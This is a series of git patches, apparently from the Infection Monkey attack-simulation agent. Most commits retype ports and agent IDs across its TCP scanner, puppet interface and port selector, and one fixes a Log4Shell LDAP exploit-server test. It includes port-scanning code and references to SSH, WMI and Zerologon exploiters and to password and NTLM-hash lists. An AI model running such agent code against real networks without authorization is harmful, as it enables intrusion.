a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js index a484ae37875..fdbe79662b5 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js @@ -10,26 +10,22 @@ export default function UiSchema(props) { propagation: { exploitation: { exploiters: { - 'ui:classNames': 'config-template-no-header', 'ui:ObjectFieldTemplate': PluginSelectorTemplate } }, credentials: { exploit_password_list: { items: { - 'ui:classNames': 'config-template-no-header', 'ui:widget': SensitiveTextInput } }, exploit_lm_hash_list: { items: { - 'ui:classNames': 'config-template-no-header', 'ui:widget': SensitiveTextInput } }, exploit_ntlm_hash_list: { items: { - 'ui:classNames': 'config-template-no-header', 'ui:widget': SensitiveTextInput } } @@ -63,7 +59,6 @@ export default function UiSchema(props) { } }, fingerprinters: { - 'ui:classNames': 'config-template-no-header', 'ui:widget': AdvancedMultiSelect, fingerprinter_classes: { 'ui:classNames': 'config-template-no-header' @@ -72,7 +67,6 @@ export default function UiSchema(props) { } }, payloads: { - 'ui:classNames': 'config-template-no-header', encryption: { info_box: { 'ui:field': InfoBox @@ -95,7 +89,6 @@ export default function UiSchema(props) { } }, credential_collectors: { - 'ui:classNames': 'config-template-no-header', 'ui:widget': AdvancedMultiSelect, credential_collectors_classes: { 'ui:classNames': 'config-template-no-header' From 985961c25cc5d7cf908eb3f52df8778cfc7da9a1 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Thu, 9 Feb 2023 11:17:26 +0000 Subject: [PATCH 0005/1338] BB: Fix a bug in gcp_machine_handlers.py Handler raised an error even when there was no error --- envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py b/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py index 642af72f816..5e017d03092 100644 --- a/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py +++ b/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py @@ -76,7 +76,7 @@ def run_gcp_command(arglist): stdout=subprocess.PIPE, shell=True, ) - if ret != 0: + if ret.returncode != 0: raise Exception(f"Failed starting GCP machines: {ret.stderr}") From 7e0db20439d0f19569a39fcd15b7822c12e2c3f5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 10 Feb 2023 11:33:22 -0500 Subject: [PATCH 0006/1338] Changelog: Add new Unreleased section --- CHANGELOG.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 593137b828a..b609e20aa0a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,14 @@ file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). +## [Unreleased] +### Added +### Changed +### Removed +### Fixed +### Security + + ## [2.0.0] - 2023-02-08 ### Added - `credentials.json` file for storing Monkey Island user login information. #1206 From f7d11b1b1225e7657fe0c4101347da87c61d34da Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 10 Feb 2023 19:18:33 -0500 Subject: [PATCH 0007/1338] UI: Use single quotes in SecurityReport.js Fixes an eslint error. --- .../cc/ui/src/components/report-components/SecurityReport.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index 9b0bf058dfb..2ef5be3b2bf 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -243,7 +243,7 @@ class ReportPageComponent extends AuthComponent { let exploitPercentage = (100 * this.state.report.glance.exploited_cnt) / this.state.report.glance.scanned.length; - let exploitPercentageSection = ""; + let exploitPercentageSection = ''; if (! isNaN(exploitPercentage)) { exploitPercentageSection = (

From 9d78855e02b55a7c08a50c801ad2065e4c9104cf Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 13 Feb 2023 16:48:33 +0000 Subject: [PATCH 0008/1338] Agent: Add type hint for InfectionMonkey._master --- monkey/infection_monkey/monkey.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 2708d60f5e0..5d3e1be31bb 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -54,6 +54,7 @@ from infection_monkey.exploit.sshexec import SSHExploiter from infection_monkey.exploit.wmiexec import WmiExploiter from infection_monkey.exploit.zerologon import ZerologonExploiter +from infection_monkey.i_master import IMaster from infection_monkey.i_puppet import IPuppet from infection_monkey.island_api_client import HTTPIslandAPIClientFactory, IIslandAPIClient from infection_monkey.master import AutomatedMaster @@ -147,7 +148,7 @@ def __init__(self, args, ipc_logger_queue: multiprocessing.Queue, log_path: Path self._heart.start() self._current_depth = self._opts.depth - self._master = None + self._master: Optional[IMaster] = None self._relay: Optional[TCPRelay] = None self._tcp_port_selector = TCPPortSelector(context, self._manager) From 7ee35885bc8ebbb391fbec844330cbb9ad254ce9 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 13 Feb 2023 16:50:10 +0000 Subject: [PATCH 0009/1338] Agent: Update _build_master to return an IMaster --- monkey/infection_monkey/monkey.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 5d3e1be31bb..a0ecfd40af2 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -290,7 +290,7 @@ def _setup(self, operating_system: OperatingSystem): if not maximum_depth_reached(config.propagation.maximum_depth, self._current_depth): self._relay.start() - self._build_master(relay_port, operating_system) + self._master = self._build_master(relay_port, operating_system) register_signal_handlers(self._master) @@ -310,13 +310,13 @@ def _setup_agent_event_serializers(self) -> AgentEventSerializerRegistry: return agent_event_serializer_registry - def _build_master(self, relay_port: int, operating_system: OperatingSystem): + def _build_master(self, relay_port: int, operating_system: OperatingSystem) -> IMaster: servers = self._build_server_list(relay_port) local_network_interfaces = get_network_interfaces() puppet = self._build_puppet(operating_system) - self._master = AutomatedMaster( + return AutomatedMaster( self._current_depth, servers, puppet, From 1a74d787261eb4b2bcac5c69a7e230e820f673d0 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 13 Feb 2023 17:27:16 +0000 Subject: [PATCH 0010/1338] Agent: int -> NetworkPort for TCPScanner --- .../network_scanning/tcp_scanner.py | 34 +++++++++++-------- 1 file changed, 20 insertions(+), 14 deletions(-) diff --git a/monkey/infection_monkey/network_scanning/tcp_scanner.py b/monkey/infection_monkey/network_scanning/tcp_scanner.py index bdea0c5c4f7..2db5f9829db 100644 --- a/monkey/infection_monkey/network_scanning/tcp_scanner.py +++ b/monkey/infection_monkey/network_scanning/tcp_scanner.py @@ -8,7 +8,7 @@ from common.agent_events import TCPScanEvent from common.event_queue import IAgentEventQueue -from common.types import PortStatus +from common.types import NetworkPort, PortStatus from common.utils import Timer from infection_monkey.i_puppet import PortScanData from infection_monkey.network.tools import BANNER_READ, DEFAULT_TIMEOUT, tcp_port_to_service @@ -17,12 +17,15 @@ logger = logging.getLogger(__name__) POLL_INTERVAL = 0.5 -EMPTY_PORT_SCAN = {} +EMPTY_PORT_SCAN: Dict[NetworkPort, PortScanData] = {} def scan_tcp_ports( - host: str, ports_to_scan: Collection[int], timeout: float, agent_event_queue: IAgentEventQueue -) -> Dict[int, PortScanData]: + host: str, + ports_to_scan: Collection[NetworkPort], + timeout: float, + agent_event_queue: IAgentEventQueue, +) -> Dict[NetworkPort, PortScanData]: try: return _scan_tcp_ports(host, ports_to_scan, timeout, agent_event_queue) except Exception: @@ -31,8 +34,11 @@ def scan_tcp_ports( def _scan_tcp_ports( - host: str, ports_to_scan: Collection[int], timeout: float, agent_event_queue: IAgentEventQueue -) -> Dict[int, PortScanData]: + host: str, + ports_to_scan: Collection[NetworkPort], + timeout: float, + agent_event_queue: IAgentEventQueue, +) -> Dict[NetworkPort, PortScanData]: event_timestamp, open_ports = _check_tcp_ports(host, ports_to_scan, timeout) port_scan_data = _build_port_scan_data(ports_to_scan, open_ports) @@ -44,7 +50,7 @@ def _scan_tcp_ports( def _generate_tcp_scan_event( - host: str, port_scan_data: Dict[int, PortScanData], event_timestamp: float + host: str, port_scan_data: Dict[NetworkPort, PortScanData], event_timestamp: float ): port_statuses = {port: psd.status for port, psd in port_scan_data.items()} @@ -57,8 +63,8 @@ def _generate_tcp_scan_event( def _build_port_scan_data( - ports_to_scan: Iterable[int], open_ports: Mapping[int, str] -) -> Dict[int, PortScanData]: + ports_to_scan: Iterable[NetworkPort], open_ports: Mapping[NetworkPort, str] +) -> Dict[NetworkPort, PortScanData]: port_scan_data = {} for port in ports_to_scan: if port in open_ports: @@ -74,13 +80,13 @@ def _build_port_scan_data( return port_scan_data -def _get_closed_port_data(port: int) -> PortScanData: +def _get_closed_port_data(port: NetworkPort) -> PortScanData: return PortScanData(port=port, status=PortStatus.CLOSED) def _check_tcp_ports( - ip: str, ports_to_scan: Collection[int], timeout: float = DEFAULT_TIMEOUT -) -> Tuple[float, Dict[int, str]]: + ip: str, ports_to_scan: Collection[NetworkPort], timeout: float = DEFAULT_TIMEOUT +) -> Tuple[float, Dict[NetworkPort, str]]: """ Checks whether any of the given ports are open on a target IP. :param ip: IP of host to attack @@ -166,8 +172,8 @@ def _check_tcp_ports( def _clean_up_sockets( - possible_ports: Iterable[Tuple[int, socket.socket]], - connected_ports_sockets: Iterable[Tuple[int, socket.socket]], + possible_ports: Iterable[Tuple[NetworkPort, socket.socket]], + connected_ports_sockets: Iterable[Tuple[NetworkPort, socket.socket]], ): # Only call shutdown() on sockets we know to be connected for port, s in connected_ports_sockets: From 3738c16fe79fb764caaaf8d43647d35cf57bab62 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 13 Feb 2023 17:31:25 +0000 Subject: [PATCH 0011/1338] Agent: int -> NetworkPort for IPScanner --- monkey/infection_monkey/master/ip_scanner.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/master/ip_scanner.py b/monkey/infection_monkey/master/ip_scanner.py index 34dab02d42c..f45ff068098 100644 --- a/monkey/infection_monkey/master/ip_scanner.py +++ b/monkey/infection_monkey/master/ip_scanner.py @@ -8,7 +8,7 @@ NetworkScanConfiguration, PluginConfiguration, ) -from common.types import Event, PortStatus +from common.types import Event, NetworkPort, PortStatus from infection_monkey.i_puppet import FingerprintData, IPuppet, PingScanData, PortScanData from infection_monkey.network import NetworkAddress from infection_monkey.utils.threading import interruptible_iter, run_worker_threads @@ -86,7 +86,7 @@ def _scan_addresses( ) @staticmethod - def port_scan_found_open_port(port_scan_data: Dict[int, PortScanData]): + def port_scan_found_open_port(port_scan_data: Dict[NetworkPort, PortScanData]): return any(psd.status == PortStatus.OPEN for psd in port_scan_data.values()) def _run_fingerprinters( @@ -94,7 +94,7 @@ def _run_fingerprinters( ip: str, fingerprinters: Sequence[PluginConfiguration], ping_scan_data: PingScanData, - port_scan_data: Dict[int, PortScanData], + port_scan_data: Dict[NetworkPort, PortScanData], stop: Event, ) -> Dict[str, FingerprintData]: fingerprint_data = {} From 30c1a866020a52470e852e62d5bb1c9c8e01dc8d Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 13 Feb 2023 17:32:50 +0000 Subject: [PATCH 0012/1338] Agent: int -> NetworkPort in IPuppet --- monkey/infection_monkey/i_puppet/i_puppet.py | 27 +++++++++---------- monkey/infection_monkey/puppet/puppet.py | 8 +++--- .../infection_monkey/master/mock_puppet.py | 4 +-- 3 files changed, 19 insertions(+), 20 deletions(-) diff --git a/monkey/infection_monkey/i_puppet/i_puppet.py b/monkey/infection_monkey/i_puppet/i_puppet.py index b2e1998840e..23de39dba4e 100644 --- a/monkey/infection_monkey/i_puppet/i_puppet.py +++ b/monkey/infection_monkey/i_puppet/i_puppet.py @@ -5,7 +5,7 @@ from common.agent_plugins import AgentPluginType from common.credentials import Credentials -from common.types import Event +from common.types import Event, NetworkPort from infection_monkey.i_puppet import PingScanData from infection_monkey.model import TargetHost @@ -72,16 +72,15 @@ def ping(self, host: str, timeout: float) -> PingScanData: @abc.abstractmethod def scan_tcp_ports( - self, host: str, ports: Sequence[int], timeout: float = 3 - ) -> Dict[int, PortScanData]: + self, host: str, ports: Sequence[NetworkPort], timeout: float = 3 + ) -> Dict[NetworkPort, PortScanData]: """ Scans a list of TCP ports on a remote host - :param str host: The domain name or IP address of a host - :param int ports: List of TCP port numbers to scan - :param float timeout: The maximum amount of time (in seconds) to wait for a response + :param host: The domain name or IP address of a host + :param ports: List of TCP port numbers to scan + :param timeout: The maximum amount of time (in seconds) to wait for a response :return: The data collected by scanning the provided host:ports combination - :rtype: Dict[int, PortScanData] """ @abc.abstractmethod @@ -90,20 +89,20 @@ def fingerprint( name: str, host: str, ping_scan_data: PingScanData, - port_scan_data: Dict[int, PortScanData], + port_scan_data: Dict[NetworkPort, PortScanData], options: Dict, ) -> FingerprintData: """ Runs a specific fingerprinter to attempt to gather detailed information about a host and its services - :param str name: The name of the fingerprinter to run - :param str host: The domain name or IP address of a host - :param PingScanData ping_scan_data: Data retrieved from the target host via ICMP - :param Dict[int, PortScanData] port_scan_data: Data retrieved from the target host via a TCP + :param name: The name of the fingerprinter to run + :param host: The domain name or IP address of a host + :param ping_scan_data: Data retrieved from the target host via ICMP + :param port_scan_data: Data retrieved from the target host via a TCP port scan - :param Dict options: A dictionary containing options that modify the behavior of the - fingerprinter + :param options: A dictionary containing options that modify the behavior of the + fingerprinter :return: Detailed information about the target host :rtype: FingerprintData """ diff --git a/monkey/infection_monkey/puppet/puppet.py b/monkey/infection_monkey/puppet/puppet.py index c50de62b55e..ee1759e0e23 100644 --- a/monkey/infection_monkey/puppet/puppet.py +++ b/monkey/infection_monkey/puppet/puppet.py @@ -5,7 +5,7 @@ from common.common_consts.timeouts import CONNECTION_TIMEOUT from common.credentials import Credentials from common.event_queue import IAgentEventQueue -from common.types import Event +from common.types import Event, NetworkPort from infection_monkey import network_scanning from infection_monkey.i_puppet import ( ExploiterResultData, @@ -49,8 +49,8 @@ def ping(self, host: str, timeout: float = CONNECTION_TIMEOUT) -> PingScanData: return network_scanning.ping(host, timeout, self._agent_event_queue) def scan_tcp_ports( - self, host: str, ports: Sequence[int], timeout: float = CONNECTION_TIMEOUT - ) -> Dict[int, PortScanData]: + self, host: str, ports: Sequence[NetworkPort], timeout: float = CONNECTION_TIMEOUT + ) -> Dict[NetworkPort, PortScanData]: return network_scanning.scan_tcp_ports(host, ports, timeout, self._agent_event_queue) def fingerprint( @@ -58,7 +58,7 @@ def fingerprint( name: str, host: str, ping_scan_data: PingScanData, - port_scan_data: Dict[int, PortScanData], + port_scan_data: Dict[NetworkPort, PortScanData], options: Dict, ) -> FingerprintData: try: diff --git a/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py b/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py index 739351bf30a..1594dd6bd93 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py +++ b/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py @@ -4,7 +4,7 @@ from common import OperatingSystem from common.agent_plugins import AgentPluginType from common.credentials import Credentials, LMHash, Password, SSHKeypair, Username -from common.types import Event, PortStatus +from common.types import Event, NetworkPort, PortStatus from infection_monkey.i_puppet import ( ExploiterResultData, FingerprintData, @@ -73,7 +73,7 @@ def ping(self, host: str, timeout: float = 1) -> PingScanData: def scan_tcp_ports( self, host: str, ports: Sequence[int], timeout: float = 3 - ) -> Dict[int, PortScanData]: + ) -> Dict[NetworkPort, PortScanData]: logger.debug(f"run_scan_tcp_port({host}, {ports}, {timeout})") dot_1_results = { 22: PortScanData(port=22, status=PortStatus.CLOSED), From 05ae20de3c3bae6fd0282f2440c7846a4b4e8c8a Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 13 Feb 2023 19:25:32 +0000 Subject: [PATCH 0013/1338] Agent: int -> NetworkPort in TCPPortSelector --- monkey/infection_monkey/network/info.py | 23 ++++++++++++++--------- 1 file changed, 14 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py index dc232c0909f..4530811c74f 100644 --- a/monkey/infection_monkey/network/info.py +++ b/monkey/infection_monkey/network/info.py @@ -9,6 +9,7 @@ import psutil from egg_timer import EggTimer +from common.types import NetworkPort from common.utils.environment import is_windows_os from .ports import COMMON_PORTS @@ -97,13 +98,12 @@ class TCPPortSelector: """ def __init__(self, context: BaseContext, manager: SyncManager): - self._leases: DictProxy[int, EggTimer] = manager.dict() + self._leases: DictProxy[NetworkPort, EggTimer] = manager.dict() self._lock = context.Lock() - # TODO: Return a `NetworkPort` instead of `int` def get_free_tcp_port( self, min_range: int = 1024, max_range: int = 65535, lease_time_sec: float = 30 - ) -> Optional[int]: + ) -> Optional[NetworkPort]: """ Get a free TCP port that a new server can listen on @@ -116,9 +116,12 @@ def get_free_tcp_port( 65535 :param lease_time_sec: The amount of time a port should be reserved for if the OS does not report it as in use, defaults to 30 seconds + :return: The selected port, or None if no ports are available """ with self._lock: - ports_in_use = {conn.laddr[1] for conn in psutil.net_connections()} + ports_in_use = { + NetworkPort(conn.laddr[1]) for conn in psutil.net_connections() # type: ignore + } common_port = self._get_free_common_port(ports_in_use, lease_time_sec) if common_port is not None: @@ -126,7 +129,9 @@ def get_free_tcp_port( return self._get_free_random_port(ports_in_use, min_range, max_range, lease_time_sec) - def _get_free_common_port(self, ports_in_use: Set[int], lease_time_sec: float) -> Optional[int]: + def _get_free_common_port( + self, ports_in_use: Set[NetworkPort], lease_time_sec: float + ) -> Optional[NetworkPort]: for port in COMMON_PORTS: if self._port_is_available(port, ports_in_use): self._reserve_port(port, lease_time_sec) @@ -135,8 +140,8 @@ def _get_free_common_port(self, ports_in_use: Set[int], lease_time_sec: float) - return None def _get_free_random_port( - self, ports_in_use: Set[int], min_range: int, max_range: int, lease_time_sec: float - ) -> Optional[int]: + self, ports_in_use: Set[NetworkPort], min_range: int, max_range: int, lease_time_sec: float + ) -> Optional[NetworkPort]: min_range = max(1, min_range) # In range the first argument will be in the list and the second one won't. # which means that if we select 65535 as max range, that port will not get @@ -151,7 +156,7 @@ def _get_free_random_port( return None - def _port_is_available(self, port: int, ports_in_use: Set[int]) -> bool: + def _port_is_available(self, port: NetworkPort, ports_in_use: Set[NetworkPort]) -> bool: if port in ports_in_use: return False @@ -163,7 +168,7 @@ def _port_is_available(self, port: int, ports_in_use: Set[int]) -> bool: return False - def _reserve_port(self, port: int, lease_time_sec: float): + def _reserve_port(self, port: NetworkPort, lease_time_sec: float): timer = EggTimer() timer.set(lease_time_sec) self._leases[port] = timer From 7857db5fab74b777e396d2c22af10a18178a5e61 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 13 Feb 2023 19:27:09 +0000 Subject: [PATCH 0014/1338] Agent: Add generator for a range of ports --- monkey/infection_monkey/network/info.py | 20 ++++++++++++++------ 1 file changed, 14 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py index 4530811c74f..f6e252fc178 100644 --- a/monkey/infection_monkey/network/info.py +++ b/monkey/infection_monkey/network/info.py @@ -22,6 +22,19 @@ RTF_REJECT = 0x0200 +def port_range(min_range: int, max_range: int): + min_, max_ = min_range, max_range + if min_range > max_range: + min_, max_ = max_range, min_range + + min_ = max(0, min_) + max_ = min(65535, max_) + 1 + current = min_ + while current < max_: + yield NetworkPort(current) + current += 1 + + @dataclass class NetworkAddress: ip: str @@ -142,12 +155,7 @@ def _get_free_common_port( def _get_free_random_port( self, ports_in_use: Set[NetworkPort], min_range: int, max_range: int, lease_time_sec: float ) -> Optional[NetworkPort]: - min_range = max(1, min_range) - # In range the first argument will be in the list and the second one won't. - # which means that if we select 65535 as max range, that port will not get - # into the range - max_range = min(65535, max_range) + 1 - ports = list(range(min_range, max_range)) + ports = list(port_range(min_range, max_range)) shuffle(ports) for port in ports: if self._port_is_available(port, ports_in_use): From 855cb3049327018d38f482d1f6c5bd9b0ebdb842 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 13 Feb 2023 19:28:21 +0000 Subject: [PATCH 0015/1338] Agent: Change common ports to List(NetworkPort) --- monkey/infection_monkey/network/ports.py | 38 +++++++++++++----------- 1 file changed, 20 insertions(+), 18 deletions(-) diff --git a/monkey/infection_monkey/network/ports.py b/monkey/infection_monkey/network/ports.py index 525fa95c357..baf078d84e7 100644 --- a/monkey/infection_monkey/network/ports.py +++ b/monkey/infection_monkey/network/ports.py @@ -1,21 +1,23 @@ from typing import List -COMMON_PORTS: List[int] = [ - 8080, # http-proxy - 8008, # Alternative port for HTTP - 3389, # Windows Terminal Server (RDP) - 1025, # NFS, IIS - 3306, # mysql - 5985, # Windows PowerShell Default psSession port - 5986, # Windows PowerShell Default psSession port - 5000, # A bunch of different stuff (unofficial) - 5432, # PostgreSQL - 1723, # Microsoft PPTP VPN - 6600, # Microsoft Hyper-V Live - 8888, # sun-answerbook - 1433, # Microsoft SQL Server - 1434, # Microsoft SQL Monitor - 1720, # h323q931 - 5900, # vnc - 6001, # X11:1 +from common.types import NetworkPort + +COMMON_PORTS: List[NetworkPort] = [ + NetworkPort(8080), # http-proxy + NetworkPort(8008), # Alternative port for HTTP + NetworkPort(3389), # Windows Terminal Server (RDP) + NetworkPort(1025), # NFS, IIS + NetworkPort(3306), # mysql + NetworkPort(5985), # Windows PowerShell Default psSession port + NetworkPort(5986), # Windows PowerShell Default psSession port + NetworkPort(5000), # A bunch of different stuff (unofficial) + NetworkPort(5432), # PostgreSQL + NetworkPort(1723), # Microsoft PPTP VPN + NetworkPort(6600), # Microsoft Hyper-V Live + NetworkPort(8888), # sun-answerbook + NetworkPort(1433), # Microsoft SQL Server + NetworkPort(1434), # Microsoft SQL Monitor + NetworkPort(1720), # h323q931 + NetworkPort(5900), # vnc + NetworkPort(6001), # X11:1 ] From ffe379e702a3b0dce15b106082f1a7cbc68bba65 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 13 Feb 2023 19:29:31 +0000 Subject: [PATCH 0016/1338] Agent: Fix LDAP server test --- .../exploit/log4shell_utils/test_ldap_server.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_ldap_server.py b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_ldap_server.py index cbb1ed3359e..78f609e26c6 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_ldap_server.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_ldap_server.py @@ -23,7 +23,7 @@ def test_ldap_server(tmp_path, tcp_port_selector): ldap_server = LDAPExploitServer(ldap_port, http_ip, http_port, tmp_path) ldap_server.run() - server = Server(host="127.0.0.1", port=ldap_port) + server = Server(host="127.0.0.1", port=int(ldap_port)) conn = Connection(server, auto_bind=True) conn.search( search_base=EXPLOIT_RDN, From 91733dbf74d5b2538f26fb18820f8600471b3570 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 13 Feb 2023 19:30:51 +0000 Subject: [PATCH 0017/1338] Agent: Use str -> AgentID in IIslandAPIClient --- .../island_api_client/configuration_validator_decorator.py | 6 +++--- .../island_api_client/i_island_api_client.py | 4 ++-- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/island_api_client/configuration_validator_decorator.py b/monkey/infection_monkey/island_api_client/configuration_validator_decorator.py index 5403ca23736..9249586f9eb 100644 --- a/monkey/infection_monkey/island_api_client/configuration_validator_decorator.py +++ b/monkey/infection_monkey/island_api_client/configuration_validator_decorator.py @@ -43,7 +43,7 @@ def get_agent_plugin_manifest( ) -> AgentPluginManifest: return self._island_api_client.get_agent_plugin_manifest(plugin_type, plugin_name) - def get_agent_signals(self, agent_id: str) -> AgentSignals: + def get_agent_signals(self, agent_id: AgentID) -> AgentSignals: return self._island_api_client.get_agent_signals(agent_id) def get_agent_configuration_schema(self) -> Dict[str, Any]: @@ -69,8 +69,8 @@ def register_agent(self, agent_registration_data: AgentRegistrationData): def send_events(self, events: Sequence[AbstractAgentEvent]): return self._island_api_client.send_events(events) - def send_heartbeat(self, agent: AgentID, timestamp: float): - return self._island_api_client.send_heartbeat(agent, timestamp) + def send_heartbeat(self, agent_id: AgentID, timestamp: float): + return self._island_api_client.send_heartbeat(agent_id, timestamp) def send_log(self, agent_id: AgentID, log_contents: str): return self._island_api_client.send_log(agent_id, log_contents) diff --git a/monkey/infection_monkey/island_api_client/i_island_api_client.py b/monkey/infection_monkey/island_api_client/i_island_api_client.py index ded1881aad8..5bfc7db766f 100644 --- a/monkey/infection_monkey/island_api_client/i_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/i_island_api_client.py @@ -81,7 +81,7 @@ def get_agent_plugin_manifest( """ @abstractmethod - def get_agent_signals(self, agent_id: str) -> AgentSignals: + def get_agent_signals(self, agent_id: AgentID) -> AgentSignals: """ Gets an agent's signals from the island @@ -161,7 +161,7 @@ def send_events(self, events: Sequence[AbstractAgentEvent]): """ @abstractmethod - def send_heartbeat(self, agent: AgentID, timestamp: float): + def send_heartbeat(self, agent_id: AgentID, timestamp: float): """ Send a "heartbeat" to the Island to indicate that the agent is still alive From 0001edecdb1d348cc1f8564be6769cd21c816dfd Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 13 Feb 2023 19:31:51 +0000 Subject: [PATCH 0018/1338] Agent: str -> AgentID in ControlChannel --- monkey/infection_monkey/master/control_channel.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/master/control_channel.py b/monkey/infection_monkey/master/control_channel.py index ad208106550..0c2f7383028 100644 --- a/monkey/infection_monkey/master/control_channel.py +++ b/monkey/infection_monkey/master/control_channel.py @@ -6,6 +6,7 @@ from common.agent_configuration import AgentConfiguration from common.credentials import Credentials +from common.types import AgentID from infection_monkey.i_control_channel import IControlChannel, IslandCommunicationError from infection_monkey.island_api_client import IIslandAPIClient, IslandAPIError @@ -26,7 +27,7 @@ def wrapper(*args, **kwargs): class ControlChannel(IControlChannel): - def __init__(self, server: str, agent_id: str, api_client: IIslandAPIClient): + def __init__(self, server: str, agent_id: AgentID, api_client: IIslandAPIClient): self._agent_id = agent_id self._control_channel_server = server self._island_api_client = api_client From 13259eb22e593f32af650d5890e94c83b4f9a7a9 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 13 Feb 2023 19:34:22 +0000 Subject: [PATCH 0019/1338] Agent: Add type hint for AgentPluginManifest.Config.json_encoders --- monkey/common/agent_plugins/agent_plugin_manifest.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/common/agent_plugins/agent_plugin_manifest.py b/monkey/common/agent_plugins/agent_plugin_manifest.py index 9800a7751af..2fce2e0df57 100644 --- a/monkey/common/agent_plugins/agent_plugin_manifest.py +++ b/monkey/common/agent_plugins/agent_plugin_manifest.py @@ -1,4 +1,4 @@ -from typing import Optional, Tuple +from typing import Any, Callable, Mapping, Optional, Tuple, Type from common import OperatingSystem from common.agent_plugins import AgentPluginType @@ -42,4 +42,4 @@ class AgentPluginManifest(InfectionMonkeyBaseModel): safe: bool = False class Config(InfectionMonkeyModelConfig): - json_encoders = {PluginVersion: lambda v: str(v)} + json_encoders: Mapping[Type, Callable[[Any], Any]] = {PluginVersion: lambda v: str(v)} From 3eba48d8c8ecbfd8ebe4efeb295a60a13d251bf0 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 13 Feb 2023 19:56:54 +0000 Subject: [PATCH 0020/1338] Agent: Add explicit None return to StopSignalHandler --- monkey/infection_monkey/utils/signal_handler.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/infection_monkey/utils/signal_handler.py b/monkey/infection_monkey/utils/signal_handler.py index 349d3fac104..6b0193e262e 100644 --- a/monkey/infection_monkey/utils/signal_handler.py +++ b/monkey/infection_monkey/utils/signal_handler.py @@ -22,6 +22,8 @@ def __call__(self, signum: int, *args) -> Optional[bool]: else: self._handle_posix_signals(signum, args) + return None + def _handle_windows_signals(self, signum: int) -> bool: import win32con From 87d848547560f0a079448c3e291801497a404dcc Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 13 Feb 2023 19:59:05 +0000 Subject: [PATCH 0021/1338] Agent: Stop if no port available for TCP relay --- monkey/infection_monkey/monkey.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index a0ecfd40af2..474aaebdb7a 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -281,6 +281,10 @@ def _setup(self, operating_system: OperatingSystem): config = self._control_channel.get_config() relay_port = self._tcp_port_selector.get_free_tcp_port() + if relay_port is None: + logger.error("No available ports. Unable to create a TCP relay.") + return + self._relay = TCPRelay( relay_port, self._island_address, From 311a8c00010dc10e36c0604fdc996ca962aa9e1a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Feb 2023 08:03:21 -0500 